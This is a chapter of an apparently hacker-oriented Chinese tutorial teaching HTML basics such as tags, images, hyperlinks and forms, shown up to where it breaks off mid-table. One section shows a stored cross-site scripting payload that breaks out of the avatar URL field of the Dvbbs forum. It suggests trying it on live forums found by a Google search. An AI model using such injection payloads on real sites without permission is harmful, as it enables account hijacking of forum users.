首页
互助圈
新手教程
进阶之路
算法原理
架构设计
JAVA进阶
C/C++进阶
Python进阶
JavaScript
数据库
大数据
消息服务
源码解读
JAVA源码
Spring源码
数据库
消息服务
Dubbo源码
面试指南
大厂专栏
面试技巧
面试经验
面试题库
开发资料
文档资料
工具软件
电子书籍
小牛导航
在线工具
登录
目录
什么是HTML语言
HTML的常用标记
图片的插入及自定义头像跨站漏洞
超链接的建立
表单
框架
CSS层叠样式表
结尾
第一个用HTML编写的网页
HTML语言的基本语法和格式
3.2.1 、、
和<body>及其他标记</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('omdjeh');"> 图像的插入</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('qhtmma');"> 自定义头像跨站漏洞</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('ximiyw');"> 文本链接</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('adjemo');"> 图像链接</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('bzwhud');"> 超链接的target属性</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('idbujz');"> 下载文件</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('zyajnk');"> 脚本链接</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('pvsqaq');"> 超链接的综合使用</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('syzwvn');"> 什么是表单</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('cwjaxp');"> 表单标记<FORM></a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('wkzyxq');"> 输入标记<INPUT></a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('mketrk');"> 文本域标记<TEXTAREA></a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('dkweek');"> 框架集标记<FRAMESET></a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('flotms');"> 框架标记<FRAME></a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('ftwlfz');"> 浮动框架<IFRAME></a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('ldocgs');"> 层叠样式表的类型</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('fannnv');"> 层叠样式表的基本写法</a></li> <li data-v-ek=""><a data-v-ek="" class="outline-link" href="javascript:scrollto2('aivcrj');"> CSS挂马技术</a></li> </ul> </nav> </div> </div> </div> <div class="content" data-v-g=""> <div class="wzdh-v"> 当前位置： <a href="/">首页</a> > <a href="/shouce/">文档资料</a> > <a href="/shouce/1905/">精通脚本黑客</a> > </div> <div><div> <a href="/link/redirect?r=https://www.xnip.cn/biji/255610.html" target="_blank"> <img src="https://imgs.xnip.cn/imgs/index/banner.jpeg"> </a> </div></div> <div class="content-container" data-v-g=""> <main class="main" data-v-g=""> <div class="vp-doc" data-v-g=""> <div> <h1 id="content" tabindex="-1">第三章 HTML入门</h1> <div data-v-h="" class="meta-wrapper"> <div data-v-h="" class="meta-item original"> <span data-v-h="" class="arco-tag arco-tag-size-medium arco-tag-orangered arco-tag-checked"> 优质 </span> </div> <div data-v-h="" class="meta-item"> <span data-v-h="" class="meta-content"> <i class="fa fa-user-o"></i> 小牛编辑 </span> </div> <div data-v-h="" class="meta-item"> <span data-v-h="" class="meta-content"> <i class="fa fa-eye"></i> <span>130浏览</span> </span> </div> <div data-v-h="" class="meta-item"> <i class="fa fa-clock-o"></i> <span data-v-h="" class="meta-content">2023-12-01</span> </div> <div style="margin-top: 20px"><p>在前面的学习过程当中，我给大家介绍了在脚本环境下的常见漏洞攻击技术。相信各位黑友也知道怎么用工具和一些简单的代码来对网站进行入侵了。但我们的目标是要做一名脚本黑客高手，仅仅会用一些工具是远远不够的，必须要懂的分析代码，从代码里找出程序的漏洞。要做到这一点肯定要对各种脚本语言很熟悉，不然怎么分析呢？在平时聊天的过程中遇到了很多初学者都非常想学习脚本，想成为脚本代码分析高手，但是目前市面上的脚本语言书籍都是厚厚的一本，更加别说要学那么多门脚本语言了，厚厚的一叠书还没开始看就被吓倒了。而且市面上销售的脚本语言书籍中的各种例子都是只顾着功能上的完美，在安全上却是漏洞百出，以至于用了这些教材的人编写出来的程序也同样是漏洞百出，典型的恶性循环后果。针对这些情况，我将带领大家从黑客的角度出发快速学习各种脚本语言，在有了一定的脚本语言基础之后，就开始学习各种常见脚本代码漏洞的分析。并成为一名一般人眼里的脚本程序漏洞分析高手。脚本语言里最基础也是非常重要的语言是 HTML，那么我们就先从最基本的 HTML 语言开始学习，在后面的几章将陆续为大家讲解各种脚本语言。对于那些没有任何脚本语言基础的朋友一定要跟上我的脚步，不要掉队了哦。</p><ol><ol><li><h2 id="qtmdwy">什么是HTML语言</h2><p>HTML 的中文名字叫超文本标记语言，它是 Internet 上编写网页的主要语言之一。用</p><p>HTML 编写的超文本文件称为 HTML 文件。在 windows 操作系统下，我们可以用记事本来编写或者查看网页的 HTML 源代码。在用记事本编写 HTML 代码的时候需要注意的是必须要把记事本的 txt 后缀名改成 html 或者 htm。但是在 windows xp 系统下，默认情况下文件的后缀名是隐藏的，所以在编写代码之前需要做一些设置，把后缀名给显示出来。操作过程如下：打开"我的电脑"—>点击"工具"—>选择"文件夹选项"—>点击"查看"(如图 3-1 所示)—></p><p>在高级设置里找到"隐藏已知文件类型的扩展名"(如图 3-2 所示)—>把前面的钩去掉。</p><p><img width="383" height="461" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/dd37d375-3a23-4bf8-bf8c-99ded3ec98d6.png" /></p><p>图 3-1</p><p><img width="308" height="84" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/2d9f3589-8f4f-4408-b9bf-fa469f213cdb.png" /></p><p>图 3-2</p><p>这样就可以看到所有文件的后缀名了，如图 3-3 中显示了 html 和记事本两种文件的后缀。</p><p><img width="286" height="116" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/f9e3197a-dd74-4310-b807-ae938d5d9fc1.png" /></p><p>图 3-3</p><p>那么我们在编写完 html 代码后，只要把 txt 改成 html 就可以执行代码了。而要查看网页中的源代码可以浏览器的菜单栏上选择"查看"—>在选择"源文件"就可看到当前网页的代码。</p><ol><li><h3 id="kvqxyb">第一个用HTML编写的网页</h3><p>在正式学习 HTML 语言之前，先来编写一个简单的 HTML 网页，让大家对 HTML有一个感性的认识。写一个在浏览器的标题栏上显示"这是我的第一个 HTML 网页"，在文本区上显示"我也编写出了 HTML 网页哦！"。具体的操作过程如下：</p><p>1.依次单击任务栏上的[开始]—>[程序]—>[附件]—>[记事本]菜单命令，启动记事本程序，输入如图 3-4 所示的语句。</p><p><img width="369" height="197" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/1e2195ce-5440-48c2-986b-b9725347f1f3.png" /></p><p>图 3-4</p><p>2.单击[文件][保存]菜单命令，在弹出的"另存为...."对话框中输入文件名 one.html，单击[保存]</p><p>按钮，保存到桌面。提示：网页文件取名为 one.html 或 one.htm 均可。</p><p>3.打开保存在桌面上的 one.html 文件，即可在 IE 浏览器中观看网页效果，在网页的标题栏上显示"这是我的第一个 HTML 网页"而在文本区域显示"我也编写出了 HTML 网页哦！"，如图 3-5 所示。</p><p><img width="458" height="189" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/3cb117b4-e547-4f95-9f92-56e598d75edf.png" /></p><p>图 3-5</p></li><li><h3 id="pttxyc">HTML语言的基本语法和格式</h3></li></ol></li></ol></ol><p>HTML 文件通常都是以<html>开始，以</html>结尾，而中间有两大部分：第一部分是</p><p><head>...</head>区段，称为头部；第二部分是<body>...</body>区段，称为体部。下面是一个典型 HTML 文件所具有的结构。</p><p><html> / /HTML 文件开始</p><p><head> //头部开始</p><p><title>这是我的第一个 HTML 网页</title> //<head>与</head>之间为文件头部</p><p><head> //头部结束</p><p><body> / /体部开始</p><p>我也编写出了 HTML 网页哦！ //<body>与</body>之间为文件体部</p><p></body> // 体 部 结 束</p><p></html> //HTML 文件结束</p><p>在 HTML 中放在<和>中间的为标记名，而<标记名>称为标记。一般的 HTML 标记具有起始和结束标记，结束标记前面要加"/"，并与前面的开始标记成对出现。特别要注意的是</p><p>HTML 语言对大小不敏感，即<html>和<HTML>或者<Html>是一样的，其他的标记也是一样的道理。下面是常见的 HTML 语法。</p><p>1.<标记名>文本</标记名></p><p>例如<title>这是我的第一个 HTML 网页</title></p><p>2.<标记名 属性名="属性值...">文本</标记名></p><p>在编程时属性和方法是最为常见的，但是很多朋友很难分清楚哪些是属性哪些是方法。从最通俗的来讲，属性是属于静态的，而方法是属于动态的。举个例子来说明，假设上面的标记名是"人类"(当然是肯定没有一个这样的标签了)，那么人类很多静态的东西，比如黑种人、白种人、黄种人。这些都是静态的，不能够改变的。而人类的方法也有很多，比如走路、吃饭、跑步。这些都是动态，方法可以完成一定的功能，而属性则不能。这个道理在 HTML语言上也是如此，比如我们把网页的背景换成红色：<body b gcolor= "red">红色背静网页</p><p></body>。</p><p>3.<标记名></p><p>这种写法只由单一的标记组成，无需成对出现。比如我们的换行标记<br>。那么在编写换行代码的时候我们可以这样写：第一行<br>第二行。那么在浏览器上显示时，第一行和第二行就不是同一行了。</p><ol><ol><li><h2 id="pdfjxi">HTML的常用标记</h2><h3 id="leipvm">3.2.1 <html>、<head>、<title>和<body>及其他标记</h3><ol><li><p><html>...</html>标记</p><p>一个 HTML 文件，无论是简单的还是复杂的，都是以<html>开头，以</html>结尾。</p><p><html>标记还指出了本文件是 HTML 文件，当浏览器遇到<html>标记时会按照 HTML 标准解释后面的文本，直到遇到结束标记</html>才停止上述解释。提示：HTML 语言是属于解释性语言，不需要经过编译，直接用浏览器就可以执行其代码。</p></li><li><p><head>...</head>标记</p><p><head> 和</head> 构成了 HTML 文件的开头部分， 在此标记对之间可以使用</p><p><title>...</title>、<script>...</script>等标记对，描述网页标题或者其他不在网页上显示的某些信息。</p></li><li><p><title>...</title>标记</p><p>< title>标记用于设置浏览器窗口标题栏中纤细的文本信息 ，这些信息一般是网页主题。注意：<title></title>标记对只能放在<head></head>标记对之间。</p></li><li><p><body>...</body>标记</p><p><body></body>是HTML 文件的主题部分，之间可以定义多种标记。同时<body>也有很多属性，下面的都是比较常用的。＜body＞指令的属性</p><p>①背景颜色 -- bgcolor ＜body bgcolor=#rrggbb＞</p><p>②背景图案 -- background ＜body background="图形文件名"＞</p><p>③设定背景图案不会卷动 -- bgproperties ＜body bgproperties=fixed＞</p><p>④文件内容文字的颜色 -- text ＜body text=#rrggbb＞</p><p>⑤超连结文字颜色 -- link ＜body link=#rrggbb＞</p><p>⑥正被选取的超连结文字颜色 -- vlink ＜body vlink=#rrggbb＞</p><p>⑦已连结过的超连结文字颜色 -- alink ＜body alink=#rrggbb＞</p><p>他们所定义的文本、图像将会在浏览器的窗口内显示，在<body>这对标记中我们可以包含非常多的标记，常见的有如下一些：</p><p>⑴改变文字的大小 ＜h#＞……………..＜/h#＞ ，其中#=1~6；h1 为最大字，h6 为最小字。</p><p>⑵改变字体的变化 ＜font＞..........＜/font＞</p><p>①改变字体大小 ＜font size=#＞..........＜/font＞ #=1~7；数字愈大字也愈大</p><p>②指定文字的字型 ＜font face="字型名称"＞..........＜/font＞</p><p>③改变文字的颜色 ＜font color=#rrggbb＞..........＜/font＞ rr：表红色（red）色码 gg：表 绿色（green）色码 bb：表蓝色（blue）色码</p><p>⑶显示小字体 ＜small＞..........＜/small＞ ；显示大字体 ＜big＞..........＜/big＞；显示粗体字 ＜b＞..........＜/b＞；显示斜体字 ＜i＞..........＜/i＞ ；显示打字机字体 ＜tt＞..........＜/tt</p><p>＞；显示底线 ＜u＞..........＜/u＞；显示删除线 ＜strike＞..........＜/strike＞；显示下标字 ＜</p><p>sub＞..........＜/sub＞；显示上标字 ＜sup>..........＜/sup＞；显示.文字闪烁效果 ＜blink</p><p>＞..........＜/blink＞</p><p>⑷换行标记 ＜br＞；分段标记 ＜p＞</p><p>⑸改变文字的对齐方向 ＜p align="#"＞ #号可为 left：表向左对齐（预设值） center：表向中对齐 right：表向右对齐 P.S.＜p align="#"＞之後的文字都会以所设的对齐方式显示， 直到出现另一个＜p align="#"＞改变其对齐方向，或遇到 ＜hr＞ⅱ＜h#＞标签时会自动设回预设的向左对齐。</p><p>⑹插入一条分隔线 ＜hr＞</p><p>①分隔线的粗细 ＜hr size=点数＞</p><p>②分隔线的宽度 ＜hr size=点数或百分比＞</p><p>③分隔线对齐方向 ＜hr align="#"＞ #号可为 left：表向左对齐（预设值） center：表向中对齐 right：表向右对齐</p><p>④分隔线的颜色 ＜hr color=#rrggbb＞</p><p>⑤实心分隔线 ＜hr noshade＞</p><p>⑺向中对齐 ＜center＞..........＜/center＞</p><p>⑻在<body>标记中通常都是有表格的，定义表格的标记为 ＜table＞..........＜/table＞ ，它通常有下面的属性。</p><p>①设定边框的厚度 -- border＜table border=点数＞</p><p>②设定格线的宽度 -- cellspacing＜table cellspacing=点数＞</p><p>③设定资料与格线的距离 -- cellpadding＜table cellpadding=点数＞</p><p>④调整表格宽度 -- width＜table width=点数或百分比＞</p><p>⑤调整表格高度 -- height＜table height=点数或百分比＞</p><p>⑥设定表格背景色彩 -- bgcolor＜table bgcolor=#rrggbb＞</p><p>⑦设定表格边框色彩 -- bordercolor＜table bordercolor=#rrggbb＞</p><p>⑼显示格线 ＜table border＞</p><p>⑽表格标题＜caption＞..........＜/caption＞ 表格标题位置 – align ＜caption align="#"＞ #</p><p>号可为 top：表标题置于表格上方（预设值）bottom：表标题置于表格下方</p><p>3.2.2 <!--注释内容--></p><p><!--标记表示注释的开始，-->标记表示注释的结束。注释的功能是为了方便设计和供他人阅读，在浏览器处理 HTML 文件时，将忽略注释标记以及注释内容。</p></li></ol></li><li><h2 id="nvteoj">图片的插入及自定义头像跨站漏洞</h2></li></ol></ol><ol><ol><ol><li><h3 id="omdjeh">图像的插入</h3><p>今天我们看的丰富多彩的网页，都是因为有了图像的作用。在 HTML 页面中可以插入图像，网页常用的图像格式有 JPEG 和 GIF 这两种格式。插入图片的标记只有一个，那就是</p><p><img>标记，一般的格式为：<img src="filename">。src 属性在<img>标记中是必须赋值的，这个值可以是图像文件的路径及文件名，同时也可以是网址。除此之外，<img>标记中比较常用的属性还有。</p><ol><li><p>alt= "" 作用为设置当前鼠标移动到图像上时显示的文本。</p></li><li><p>width="" 作用为设置图像的宽度。</p></li><li><p>height="" 作用为设置图像的高度。</p></li></ol><p>例如<img src="image/1.gif" alt="图像文字哦" width="20" height="30">或者<img src="http://www.google" alt="google" width="200" height="300">，如图 3-6 所示。</p><p><img width="421" height="192" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/9557fca5-f90d-4a9a-8adf-f7c8a8c5c4c5.png" /></p><p>图 3-6</p></li><li><h3 id="qhtmma">自定义头像跨站漏洞</h3></li></ol></ol></ol><p>目前很多论坛都提供了自定义头像的功能，在定义自己头像时用户只要输入 src 属性的值，其他的系统都已经定义好了。但是我们知道 src 的值可以是文件名或者网址，而且这个数据是用户自己定义的，所以如果系统没有对我们输入的数据进行过滤的话，那就可以用来跨站哦。就连顶顶大名的动网也曾出现过这样的漏洞。下面就结合动网自定义头像跨站漏洞来说明怎么利用<img>标记来跨站。大家可以在自己机器上架设动网的环境，也可以利用网</p><p>上现成的动网论坛来做实验。这里我为了节省时间，直接在网上做实验，打开 google 输入</p><p>"powered by dvbbs"查找使用动网的网站。</p><p>随便注册个用户，登陆之后点击修改用户资料，可以看到有一个自定义头像的功能，如图 3-7 所示。</p><p><img width="536" height="179" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/b6e1822f-6118-4f93-bdec-b6c704d8a6e8.png" /></p><p>图 3-7</p><p>在 在"完整 Url 地址"的输入框中输入跨站代码<script>alert("cmd")</script>，提交之后发现并没有出现跨站的效果，如图 3-8 所示为输入跨站代码后返回的数据，从这里说明了系统并没有过滤我们的数据，这是一个经验问题，各位黑友要记住了。</p><p><img width="553" height="170" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/7e99a295-bd88-4555-8789-19dbb56bbdf9.png" /></p><p>图 3-8</p><p>以后凡是写入跨站代码后，从返回的数据上如果还出现一些字符，如显示存在<script>关键字啊，那一般是存在跨站漏洞，如果还不放心，可以查看源代码，利用记事本的查找功能查找跨站关键字。</p><p>上面没有过滤跨站代码，那为什么又没出现跨站呢？这是因为跨站代码被 HTML 中的引号、<、>给封闭了，针对这种情况，首先是查看返回客户端的代码，查找到跨站的代码，这里我们是查找关键字 cmd 就可以了，下面是查找到的关键性源代码：<td w idth=198 height=32>头像<img id=facesrc="<scri pt>alert("cmd")</script>" width=32 hei ght=32>**</td>我们可以看到我们的跨站代码没有过滤，而是被<和>及单引号给封锁了，所以我们只要避开那些字符就可以了，让<script>alert("cmd")</script>单独存在于代码中。这个还是很容易实现的，输入代码"><script>alert("cmd")</script><"之后，那么整条语句就变成了<img id= face src=""<script>alert("cmd")</script><"" width=32 height=32>这样就实现了跨站效果，如图 3-9所示。</p><p><img width="260" height="156" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/98203f21-e7bc-4f80-837b-25ed7228660f.png" /></p><p>图 3-9</p><ol><ol><li><h2 id="afvhxt">超链接的建立</h2><p>链接是一个网站的灵魂，在 HTML 中要创建超链接非常的方便。超链接是网页页面中最重要的元素之一，在我们浏览网页时是使用度最为频繁的技术。我们都很清楚一个网站是由非常多的网页组成的，不同的页面之间依据链接确定相互的导航关系。每一个网页都有独一无二的地址，在英文中被称为 URL<a href="https://www.xnip.cn/link/redirect?r=http://www.baidu.com/" target="_blank" rel="noopener noreferrer">，中文名叫通用资源标示符，比如百度的网址是 </a>http://www.baidu.com<a href="https://www.xnip.cn/link/redirect?r=http://www.baidu.com/" target="_blank" rel="noopener noreferrer">，那么网址 </a>http://www.baidu.com 就是 URL。而在浏览器上输入网址的地方叫 URL 地址栏。而我们也是通过这个地址来定位相互之间的关系。链接主要有以下几种方式，我给大家详细讲来。</p><ol><li><h3 id="ximiyw">文本链接</h3><p>文本链接是使用网页上的文字作为链接点，我们只要点击文字就可以跳到指定的页面。通过文本来做链接的的标记是<a href="URL">...</a>。其中href 的值可以是网址或者相对路径。例如<a href="http://www.baidu">百度</a>。另外 href 的值也可以是 mailto:形式，即发送 E-Mail 的形式，语法为<a href="mailto:EMAIL">...</a>，这样就创建了一个自动发送邮件的链 接 ， mailto: 后 边 为 想 要 自 动 发 送 的 电 子 邮 件 的 地 址 。 例 如 <a</p><p><a href="https://www.xnip.cn/link/redirect?r=mailto:zengyunhao0@tom.com" target="_blank" rel="noopener noreferrer">href="mailto:zengyunhao0@tom.co</a>m">曾云好的电子信箱</a>，我一点击曾云好的电子信箱就弹出了 outlook 的电子邮件，如图所示 3-10 所示。</p><p><img width="449" height="243" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/fb1e1192-7a17-4d0d-8db0-a47e9ed18062.png" /></p><p>图 3-10</p></li><li><h3 id="adjemo">图像链接</h3><p>图像链接指的是用户通过点击网页上的图像或者图像上的一部分就可以跳转到别处去。通过图像来做链接的的标记是<a href="URL"><img src=""></a>。其中其中 href 的值可以是网址或者相对路径，src 可以是图片地址。例如<a href="https://www.xnip.cn/link/redirect?r=http://www.baidu.com/" target="_blank" rel="noopener noreferrer"><a href= "</a>http://www.baidu.com"><img src="baidu.jpg"></a>，如图 3-11 所示。</p><p><img width="458" height="187" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/7a2dfa3e-9234-43f0-953a-fdfd2807a6bf.png" /></p><p>图 3-11</p></li><li><h3 id="bzwhud">超链接的target属性</h3><p>target 属性指定链接的文件出现在哪一类窗口，格式为： <a href ="URL" target="window-name">...</a>。若 target 的值等于"_blank"，点击链接后将会打开一个新的窗口来浏览目标，若不用 target 属性，当浏览者点击链接之后将会在原来的浏览器窗口中浏览新的 HTML 文件。例如<a href="https://www.xnip.cn/link/redirect?r=http://zengyunhao0.blogcn.com/" target="_blank" rel="noopener noreferrer"><a h ref= "http:/</a>/zengyunhao0.blogcn.com" t arget= "_blank">我的博客</p><p></a>，点击之后就连接到我的博客上去了，如图 3-12。</p><p><img width="526" height="187" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/a7d14b15-9015-4985-8bfa-2b5f2468aaea.png" /></p><p>图 3-12</p></li><li><h3 id="idbujz">下载文件</h3><p>下载是我们上网最常做的事情，通过链接来做下载非常的简单。只需在链接地址处输入文件所在的位置即可。当浏览器的使用者单击链接后，浏览器会自动判断文件的类型，以做</p><p>出不同情况的处理。基本语法：<a href="file_URL">文字链接</a></p><p>语法解释：file_URL代表的是我们要下载的文件的地址，可以写相对路径，也可以写绝对路径。提示： 相对文件是指在同一网站下的其他文件的路径称为相对路径，例如</p><p>/news/default.html；而为文件提供完全的路径，包括使用的协议，如http、ftp<a href="https://www.xnip.cn/link/redirect?r=http://www.baidu.com/" target="_blank" rel="noopener noreferrer">等，称为绝对路径，例如</a>http://www.baidu.com。</p></li><li><h3 id="zyajnk">脚本链接</h3><p>其实通过脚本也可以做链接，而且可以用来实现 HTML 语言完成不了的功能，下面以</p><p>JavaScript 脚本语言为例说明脚本链接的使用。JavaScript 的各种语法将在下一章讲，这里就给大家对 JavaScript 的一个感性认识。基本语法：<a href="JavaScript:...">文字链接</a></p><p>语法解释：在 JavaScript:后面编写的就是具体的脚本。例如编写一个关闭窗口功能的脚本链接代码:</p><p><html></p><p><head></p><p><title>关闭窗口功能的脚本链接</title></p><p></head></p><p><body></p><p><a href="JavaScript:window.close()">关闭窗口</a></p><p></body></p><p></html></p><p>把它转换成 HTML 文件后，如图 3-13 所示。点击"关闭窗口"，就出现了提示关闭出口的对话框，如图 3-14 所示。</p><p><img width="363" height="167" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/03f35224-0bbc-4f64-9634-354c77850f1a.png" /></p><p>]</p><p>图 3-13</p><p><img width="303" height="174" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/f26e3ecd-83ec-4d1e-9ff0-4b737c4ca406.jpg" /></p><p><img width="363" height="221" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/aa3f01f5-a567-48aa-9122-31550ed52aca.png" /></p><p>图 3-14</p></li><li><h3 id="pvsqaq">超链接的综合使用</h3></li></ol></li></ol></ol><p>下面来编写一个在文字上设置目标为 URL 网址和邮件的超链接，并设置图像的点击看大图效果。操作过程如下：</p><p>1.打开记事本程序，输入如下语句：</p><p><html></p><p><head></p><p><title>超链接的使用举例</title></p><p></head></p><p><body></p><p><a href="logo.gif" target="_blank"><img src="logo.gif" alt="点击看大图" width="50" height="50"></a></p><p><a href="https://www.xnip.cn/link/redirect?r=http://zengyunhao0.blogcn.com/" target="_blank" rel="noopener noreferrer"><a href="</a>http://zengyunhao0.blogcn.com/">我的博客</a></p><p><a href="https://www.xnip.cn/link/redirect?r=mailto:zengyunhao0@tom.com" target="_blank" rel="noopener noreferrer"><a href="mailto:</a>zengyunhao0@tom.com">我的电子邮件地址</a></p><p><a href="logo.gif">下载</a></p><p></body></p><p></html> 2. 单 击 [ 文 件 ]—>[ 保 存 ] 菜 单 命 令 ， 命 名 为 3.4.4.html， 保 存 在 文 件 夹 3.4.4 中 。 双 击 此 文 件 ， 即 可 在 IE 浏 览 器 中 观 看 网 页 效 果 ， 如 图 3-15 所 示 。</p><p><img width="370" height="204" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/c7c59226-9775-47e0-9a52-bf4e28d333e4.png" /></p><p>图 3-15</p><ol><ol><li><h2 id="vqsnrw">表单</h2><ol><li><h3 id="syzwvn">什么是表单</h3><p>HTML 中的表单是 HTML 页面与浏览器端实现交互的重要手段。利用表单，服务器可以收集客户端浏览器提交的相关信息，比如输入的密码等等。我们在浏览网站时经常会遇到表单，它是服务器与浏览器实现互动功能的重要组成部分，互动在这里的意思是指相互之间交换数据的一个过程，比如把我们在本地输入的密码传送到服务器上。不管网站的服务端使用的是哪一种形式的语言来实现网站的互动的功能，例如 ASP、PHP、JSP 等，目前表单都已经成为它们统一的信息收集方法。</p><p>表单的主要功能是收集信息，具体的说是收集浏览者的信息。例如在网上申请一个电子邮箱，就必须按要求填写完成网站提供的表单页面，其内容主要是姓名、年龄、联系方式等个人信息。又例如要在某个论坛上发言，发言之前要申请资格，也是要填写完成一个表单网页。当然表单在不看源代码的情况下是不可见的，用户感觉不出表单的存在了。</p><p>表单可以通常用于调查、定购、搜索等功能，一般的表单由两部分组成，一是描述表单元素的 HTML 源代码，在浏览器上我们可以通过源代码来查找这部分。二是客户端脚本，或者是服务器端用来处理用户所填写的程序，这里主要是处理收集过来的数据，比如上面的例子中获得的密码，传送到服务器上肯定要验证密码是否正确的了，如果正确就进入，错误就登陆不了，这就是一个处理过程。在 HTML 中，我们可以定义表单，并且使表单与 ASP、</p><p>PHP 等服务端脚本语言的表单处理程序配合。表单信息的处理过程为：当我们单击表单中提交的按钮时，输入在表单中的信息就会传送到服务器中，然后由服务器的相关应用程序进行处理，处理后或者将用户提交的信息存储在服务端的数据库中，或者将有关信息返回到客户端的浏览器上。下面就来具体接触一下表单的各个知识点。</p></li><li><h3 id="cwjaxp">表单标记<FORM></h3><p>表单是在网页上的一个特定的区域中，这个区域由一对<FORM>标记定义和标识的。</p><p><FORM>标记在网页中主要有两个方面的作用。第一、可以限定表单它的作用范围，其他的表单对象标记都要插入到表单之中。比如我们单击提交按钮时，提交的也是表单范围之内的内容，而表单之外的内容确不会提交。第二、包含表单本身的所具有的相关信息，例如处理表单的脚本程序的位置、提交表单的方法等。表单的基本语法和语法解释如下。</p><p>基本语法：</p><p><FORM name="form_name" method="method" action="URL" enctype="value" target="target_win"></p><p>..............</p><p></FORM></p><p>语法解释：如表 3-1</p><p>属 性 描 述</p><p>NAME</p><p>表单的名称</p><p>METHOD ACTION ENCTYPE</p><p>定义表单的从浏览器传送到服务器的方法，一般用：get 和 post 两种方法定义表单处理程序的位置，有绝对路径和相对路径两种</p><p>设置表单的编码方式</p><p>TARGET</p><p>设置返回信息的显示方式</p><p>在上面的属性中 NAME、METHOD、ACTION 最为常用，也是脚本程序分析的基础，下面分别对他们进行详细的说明和解释。</p><ol><li><p><FORM>标记的 NAME 属性基本语法是：</p><p><FORM name=”form_name”></p><p>…………………….</p><p><FORM></p><p>通过表单名可以控制表单与服务端的处理程序之间建立关系，用名字来确定在服务端中程序处理的标识。</p></li><li><p><FORM>标记的 ACTION 属性基本语法是：</p><p><FORM ACTION=”URL”></p><p>…………………….</p><p><FORM></p><p>通过表单的 ACTION 属性，定义了表单中数据提交的地址，这个地址可以是绝对路径也可以 是 相 对 路 径 ， 也 可 以 是 邮 件 地 址 。 例 如 <FORM NAME= <a href="https://www.xnip.cn/link/redirect?r=mailto:zengyunhao0@tom.com" target="_blank" rel="noopener noreferrer">邮 件 </a><a href="https://www.xnip.cn/link/redirect?r=mailto:zengyunhao0@tom.com" target="_blank" rel="noopener noreferrer">ACTION=mailto:zengyunhao0@tom.com></a></p></li><li><p><FORM>标记的 MTHOD 属性基本语法是：</p></li></ol><p><FORM MTHOD=”method”></p><p>…………………….</p><p><FORM></p><p>MTHOD有两种方法选择，一是GEI二是POST。通过GET方法提交数据时，那么表单中所有的内容都会附加在URL地址后面，之间通过问号“?”隔开。传递数据的格式是”name=value”， name就是要传递的数据的名字，而value就是要传递的值，当有多个要传递的时候，多个值之 间 可 以 通 过 符 号 “ & <a href="https://www.xnip.cn/link/redirect?r=http://localhost/haha/haha.asp?name1=value1&name2=value2" target="_blank" rel="noopener noreferrer">” 分 隔 开 。 例 如 </a>http://localhost/haha/haha.asp?name1=value1&name2=value2。由于这个数据是在URL地址后面，所以对提交的信息的长度进行了限制，不可以超过 8192 个字符。目前使用最多的还是</p><p>POST方法，这个方法将用户在表单中填写的数据包含在表单的主体中，一起传到服务端的处理程序中，所以这个方法没有大小限制，在不指明哪种方式时，默认是GET方式。</p><p>在定义好了表单标记<FORM>后，就可在里面添加完成具体功能的代码的标记的了，表单中可以包含的标记有 4 个，如表 3-2 所示</p><p>标 记 描 述</p><p><INPUT></p><p><SELECT></p><p><OPTION></p><p><TEXTAREA></p><p>表单输入标记 菜单和列表标记</p><p>菜单和列表项目标记文字域标记</p><p>在 HTML 代码中，他们的组织形式如下</p><p><FORM></p><p><input>……………..</input></p><p><textarea>…………….</textarea></p><p><select></p><p><option>…………</option></p><p></select></p><p></FORM></p><p>对于上面的标记，在脚本黑客技术中最频繁的应该就是<INPUT>和<TEXTAREA>这两个了，下面就详细的来讲解这两个标记。</p></li><li><h3 id="wkzyxq">输入标记<INPUT></h3><p>输入标记<INPUT>是表单中最常用的标记之一，我们在网页中常用的文本域、按钮都是使用的这个标记。基本语法如下。</p><p><form></p><p><input name=”field_name” type=”type_name”></p><p></form></p><p>其中 name 是域的名称，type 是域的的类型。在 type 属性中可以有很多属性值。其中常用的而且是和黑客技术联系紧密的有：TEXT、PASSWORD、FILE、BUTTON、SUBMIT、RESET、 HIDDEN。</p><ol><li><p>文字域 TEXT</p><p>TEXT 属性值用来设定在表单的文本区域中，输入任何类型的文本、数字和字母。其中输入的数据是以单行显示。这样说可能大家很难理解，等下我给大家举个例子说明，首先看他的基本语法和语法解释。</p><p>基 本 语 法 ： <INPUT ty pe=”text” n ame=”field_name” m axlength=value siz e=value value=”field_VALUE”></p><p>语法解释：这些解释如表 3-3 所示</p><p>文 字 域 属 性 描 述</p><p>NAME MAXLENGTH 